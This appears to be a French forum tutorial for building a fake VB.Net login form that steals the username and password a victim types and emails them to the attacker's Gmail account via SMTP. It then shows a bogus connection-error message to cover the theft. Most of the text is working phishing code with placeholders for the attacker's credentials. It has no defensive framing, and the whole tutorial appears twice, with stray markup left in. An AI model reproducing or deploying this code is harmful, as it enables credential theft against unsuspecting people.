Bonjour à tous, je vais vous montrer comment créer un fake en VB.Net, qui aura pour but d'envoyer les identifiants que la victime entrera dans votre fake.
Tout d'abord, créer une application "Windows Form"
Ensuite, vous aurez besoin de ceci:
-Une progressBar
-Un bouton (que l'on nommera "Connecter"
-Deux textbox (pour entrer le pseudo, ou l'email et le mot de passe)
-Deux labels (que l'on nommera "pseudo" et "mot de passe", ou "e-mail" et "mot de passe" selon votre fake.
-Un timer
Après avoir tout mis en place, double cliquer sur le bouton "Connecter". Voici le code que vous devez entrer:
If TextBox1.Text = "" Then
MsgBox("Entre ton Nom D'utilisateur")
Exit Sub
End If
If TextBox2.Text = "" Then
MsgBox("Entre ton mot de passe")
Exit Sub
End If
Timer1.Start()
Ensuite, double cliquer sur le timer, et entrer ceci:
Try
ProgressBar1.Value += 10
Catch
ProgressBar1.Value = 100
Timer1.Stop()
'--------Envoi des message
Dim mail As New MailMessage()
'set the addresses
mail.From = New MailAddress("Une adresse_mail_a_toi")
mail.To.Add("Ton_adresse_gmail")
'set the content
mail.Subject = "Victime"
mail.Body = "le nom d utulisateur est :" & TextBox1.Text & " mot de passe est :" & TextBox2.Text
Dim client As New SmtpClient("smtp.gmail.com", 587)
client.EnableSsl = True
client.Credentials = New NetworkCredential("Ton_adresse_gmail", "Ton_mdp_gmail")
Try
client.Send(mail)
Catch ex As Exception
Dim ex2 As Exception = ex
Dim errorMessage As String = String.Empty
While Not (ex2 Is Nothing)
errorMessage += ex2.ToString()
ex2 = ex2.InnerException
End While
MsgBox(errorMessage)
End Try
'--------
MsgBox("Problème lors de la connexion, merci de réessayer ultérieurement !")
Me.Close()
End Try
Dans ce code, vous devez remplacer ceci:
- Ton_adresse_gmail
- Ton _mdp_gmail
- Une_adresse_mail_a_toi
Au tout début de "Public Class Form1", vous devrez ajouter ceci:
Imports System.Net.Mail
Imports System.Net.Mime
Imports System.Net.NetworkCredential
Imports System.Net[/
php]
Et insérer ceci dans "Public Class Form1"
Dim mail As MailMessage
Dim smtp As SmtpClient
Tout d'abord, créer une application "Windows Form"
Ensuite, vous aurez besoin de ceci:
-Une progressBar
-Un bouton (que l'on nommera "Connecter"
-Deux textbox (pour entrer le pseudo, ou l'email et le mot de passe)
-Deux labels (que l'on nommera "pseudo" et "mot de passe", ou "e-mail" et "mot de passe" selon votre fake.
-Un timer
Après avoir tout mis en place, double cliquer sur le bouton "Connecter". Voici le code que vous devez entrer:
If TextBox1.Text = "" Then
MsgBox("Entre ton Nom D'utilisateur")
Exit Sub
End If
If TextBox2.Text = "" Then
MsgBox("Entre ton mot de passe")
Exit Sub
End If
Timer1.Start()
Ensuite, double cliquer sur le timer, et entrer ceci:
Try
ProgressBar1.Value += 10
Catch
ProgressBar1.Value = 100
Timer1.Stop()
'--------Envoi des message
Dim mail As New MailMessage()
'set the addresses
mail.From = New MailAddress("Une adresse_mail_a_toi")
mail.To.Add("Ton_adresse_gmail")
'set the content
mail.Subject = "Victime"
mail.Body = "le nom d utulisateur est :" & TextBox1.Text & " mot de passe est :" & TextBox2.Text
Dim client As New SmtpClient("smtp.gmail.com", 587)
client.EnableSsl = True
client.Credentials = New NetworkCredential("Ton_adresse_gmail", "Ton_mdp_gmail")
Try
client.Send(mail)
Catch ex As Exception
Dim ex2 As Exception = ex
Dim errorMessage As String = String.Empty
While Not (ex2 Is Nothing)
errorMessage += ex2.ToString()
ex2 = ex2.InnerException
End While
MsgBox(errorMessage)
End Try
'--------
MsgBox("Problème lors de la connexion, merci de réessayer ultérieurement !")
Me.Close()
End Try
Dans ce code, vous devez remplacer ceci:
- Ton_adresse_gmail
- Ton _mdp_gmail
- Une_adresse_mail_a_toi
Au tout début de "Public Class Form1", vous devrez ajouter ceci:
Imports System.Net.Mail
Imports System.Net.Mime
Imports System.Net.NetworkCredential
Imports System.Net[/
php]
Et insérer ceci dans "Public Class Form1"
Dim mail As MailMessage
Dim smtp As SmtpClient
